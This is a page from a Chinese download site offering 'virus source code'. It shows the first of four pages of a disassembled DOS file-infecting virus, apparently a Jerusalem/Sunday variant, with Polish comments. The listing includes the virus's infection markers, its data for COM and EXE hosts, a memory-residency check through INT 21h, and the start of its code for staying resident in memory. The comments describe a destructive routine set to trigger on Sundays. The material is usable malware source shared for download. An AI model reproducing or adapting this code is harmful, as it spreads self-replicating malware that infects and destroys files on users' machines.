⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 j_sundyb.lst

📁 一些病毒源代码
💻 LST
📖 第 1 页 / 共 4 页
字号:
;       COM - na poczatku
;       EXE - na koncu
;       rozpoznaje wg nazwy (co nie COM = EXE)
;-------
;       aktywacja w niedziele roku roznego od 1989
;       procedury niszczacej
;-------
;       doniesienia co 30 minut
;       ale nigdy nie wlaczone
;-------
;       Nie zaraza COMMAND.COM'a
;-------

LF      EQU     0AH
CR      EQU     0DH

;INITIAL VALUES :       CS:IP   0918:00C4
;                       SS:SP   0918:065D

;----------------
; <- tutaj cialo programu
;----------------

S9180   SEGMENT  STACK
        ASSUME DS:S9180, SS:S9180 ,CS:S9180 ,ES:S9180
L9180:  jmp     L0095           ;L9215                          ;9180 E9 92 00

        db      73h,55h         ;'sU'                           ;9183 73 55

        ;<- wzorzec sygnatury zarazenia
L0005   DB      0C8H,0F7h,0E1h,0EEh,0E7h                        ;9185 C8 F7 E1 EE E7

L000A   dw      100h            ;IP nosiciela COM               ;918A 00 01
L000C   dw      1905h           ;CS nosiciela COM               ;918C 05 19

L000E   db      0               ;ptr aktywnosci wirusa          ;918E 00
L000F   dw      0                                               ;918F 00 00
L0011   dw      9374h           ;dlugosc programu oryginalna    ;9191 74 93

L0013   dw      0FEA5h          ;old int 8                      ;9193 A5
L0015   dw      0F000h                                          ;9195 00
L0017   dw      1460h           ;old int 21h                    ;9197 60 14
L0019   dw      025Bh                                           ;9199 5B 02
L001B   dw      0556h           ;old int 24h                    ;919B 56 05
L001D   dw      0BA6h                                           ;919D A6 0B

L001F   dw      32400           ;30 minut zwloki                ;919F 90 7E
        dw      0                                               ;91A1 00 00
        dw      0                                               ;91A3 00 00
        dw      0                                               ;91A5 00 00
        dw      0                                               ;91A7 00 00
        dw      0                                               ;91A9 00 00
        dw      0                                               ;91AB 00 00
        dw      0E800h                                          ;91AD 00 E8
        dw      5F06h                                           ;91AF 06 5F

L0031   dw      0C89h           ;adres bloku wirusa             ;91B1 89 0C
L0033   dw      80h             ;wielkosc bloku wirusa (para)   ;91B3 80 00

        ;<----- Parameter Block
L0035   dw      0               ;Environment                    ;91B5 00 00
        dw      80h             ;<- command line                ;91B7 80 00
L0039   dw      0C89h           ;   Segment                     ;91B9 89 0C
        dw      5Ch             ;<- FCB-1                       ;91BB 5C 00
L003D   dw      0C89h           ;   Segment                     ;91BD 89 0C
        dw      6Ch             ;<- FCB-2                       ;91BF 6C 00
L0041   dw      0C89h           ;   Segment                     ;91C1 89 0C

L0043   dw      0800h           ;SP nosiciela                   ;91C3 00 08
L0045   dw      0A58h           ;rel segment stosu nosiciela    ;91C5 58 0A

L0047   dw      3D73h           ;IP nosiciela                   ;91C7 73 3D
L0049   dw      0               ;CS nosiciela (rel)             ;91C9 00 00

                                ;pierwsze 3 bajty wektora int ff
L004B   dw      0F000h                                          ;91CB 00 F0
L004D   db      46h                                             ;91CD 46

L004E   db      1               ;0=COM, 1=EXE                   ;91CE 01

        ;<- bufor na poczatek zbioru
L004F   db      'MZ'                                            ;91CF 4D 5A
L0051   dw      01E4h                   ;last page bytes        ;91D1 E4 01
L0053   dw      004Dh                   ;file size - pages      ;91D3 4D 00
        dw      0004h                                           ;91D5 04 00
L0057   dw      0020h                   ;header size (para)     ;91D7 20 00
        dw      01C1h                                           ;91D9 C1 01
        dw      0FFFFh                                          ;91DB FF FF
L005D   dw      0918h                   ;SS                     ;91DD 18 09
L005F   dw      065Dh                   ;SP                     ;91DF 5D 06
L0061   dw      1984h                   ;suma kontrolna         ;91E1 84 19
L0063   dw      00C4h                   ;IP                     ;91E3 C4 00
L0065   dw      0918h                   ;CS                     ;91E5 18 09
        dw      001Eh                                           ;91E7 1E 00
        dw      0000h                                           ;91E9 00 00

        ;<- bufor na 5 ostatnich bajtow zbioru
L006B   db      0Ah,0,0FFh,0FFh,0FFh                            ;91EB 0A 00 FF FF FF

L0070   dw      5       ;File handle                            ;91F0 05 00
L0072   dw      20h     ;atrybut zarazanego zbioru              ;91F2 20 00
L0074   dw      1031h                                           ;91F4 31 10
L0076   dw      0A337h                                          ;91F6 37 A3
L0078   dw      200h    ;bytes/sector(page)                     ;91F8 00 02
L007A   dw      10h     ;bytes/paragraph                        ;91FA 10 00
L007C   dw      9380h   ;nowa dlugosc zbioru DWORD              ;91FC 80 93
L007E   dw      0                                               ;91FD 00 00

L0080   dw      41B9h   ;path nazwy programu - offset           ;9200 B9 41
L0082   dw      9B2Ah   ;                    - segment          ;9202 2A 9B

L0084   db      'COMMAND.COM'                                   ;9294 43 4F 4D 4D 41 4E 44 2E 43 4F 4D
L008F   dw      0,0,0                                           ;929F 00 00 00 00 00 00

;================================================
;       <- Start wirusa zbiorow COM
;------------------------------------------------
L0095:  CLD                                                     ;9215 FC
        MOV     AH,0FFH         ;kontrola rezydowania           ;9216 B4 FF
        INT     21H                                             ;9218 CD 21
        CMP     AH,0FFH                                         ;921A 80 FC FF
        JNB     L9234           ;-> nie rezyduje                ;921D 73 15
        CMP     AH,4                                            ;921F 80 FC 04
        JB      L9234           ;-> nie rezyduje                ;9222 72 10
                                ;<- wirus juz rezyduje
        MOV     AH,0DDH         ;uruchom program                ;9224 B4 DD
        MOV     DI,100h         ;miejsce docelowe programu      ;9226 BF 00 01
        MOV     SI,OFFSET L065F                                 ;9229 BE 5F 06
        ADD     SI,DI           ;miejsce aktualne programu      ;922C 03 F7
        MOV     CX,CS:[DI+11H]  ;dlugosc programu oryginalna    ;922E 2E 8B 4D 11
        INT     21H                                             ;9232 CD 21

L9234:  MOV     AX,CS           ;normalizacja segmentu          ;9234 8C C8
        ADD     AX,10h                                          ;9236 05 10 00
        MOV     SS,AX                                           ;9239 8E D0
        MOV     SP,OFFSET L065D                                 ;923B BC 5D 06
        PUSH    AX                      ;segment                ;923E 50
        MOV     AX,OFFSET L00C4         ;=L9244                 ;923F B8 C4 00
        PUSH    AX                      ;offset                 ;9242 50
        RETF                                                    ;9243 CB

;================================================
;       <- Start wirusa zbioru EXE
;------------------------------------------------
L00C4:
L9244:  CLD                                                     ;9244 FC
        PUSH    ES                      ;<- PSP                 ;9245 06
        MOV     CS:L0031,ES                                     ;9246 2E 8C 06 31 00
        MOV     CS:L0039,ES                                     ;924B 2E 8C 06 39 00
        MOV     CS:L003D,ES                                     ;9250 2E 8C 06 3D 00
        MOV     CS:L0041,ES                                     ;9255 2E 8C 06 41 00
        MOV     AX,ES                   ;segment poczatku pgm   ;925A 8C C0
        ADD     AX,10h                                          ;925C 05 10 00
        ADD     CS:L0049,AX             ;relokowanie CS         ;925F 2E 01 06 49 00
        ADD     CS:L0045,AX             ;relokowanie SS         ;9264 2E 01 06 45 00
        MOV     AH,0FFH                 ;czy juz rezyduje ?     ;9269 B4 FF
        INT     21H                                             ;926B CD 21
        CMP     AH,4                                            ;926D 80 FC 04
        JNZ     L9282                   ;-> jeszcze nie         ;9270 75 10

        POP     ES                      ;<- uruchomienie pgm    ;9272 07
        MOV     SS,CS:L0045             ;inicjacja stosu        ;9273 2E 8E 16 45 00
        MOV     SP,CS:L0043                                     ;9278 2E 8B 26 43 00
        JMP     DWORD PTR CS:L0047      ;uruchomienie nosiciela ;927D 2E FF 2E 47 00

        ;<- zarezydowanie
L9282:  XOR     AX,AX                                           ;9282 33 C0
        MOV     ES,AX                                           ;9284 8E C0
        MOV     BX,03FCh                ;int 0ffh               ;9286 BB FC 03
        MOV     AX,ES:[BX]                                      ;9289 26 8B 07
        MOV     CS:L004B,AX                                     ;928C 2E A3 4B 00
        MOV     AL,ES:[BX+2]                                    ;9290 26 8A 47 02
        MOV     CS:L004D,AL                                     ;9294 2E A2 4D 00
        MOV     WORD PTR ES:[BX],0A5F3h ;rep movsw              ;9298 26 C7 07 F3 A5
        MOV     BYTE PTR ES:[BX+2],0CBH ;ret                    ;929D 26 C6 47 02 CB
        POP     AX                                              ;92A2 58
        ADD     AX,10h                                          ;92A3 05 10 00
        MOV     ES,AX                                           ;92A6 8E C0
        PUSH    CS                                              ;92A8 0E
        POP     DS                                              ;92A9 1F
        MOV     CX,OFFSET L065F         ;dl. wir. bez podpisu   ;92AA B9 5F 06
        SHR     CX,1                    ;na slowa               ;92AD D1 E9

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -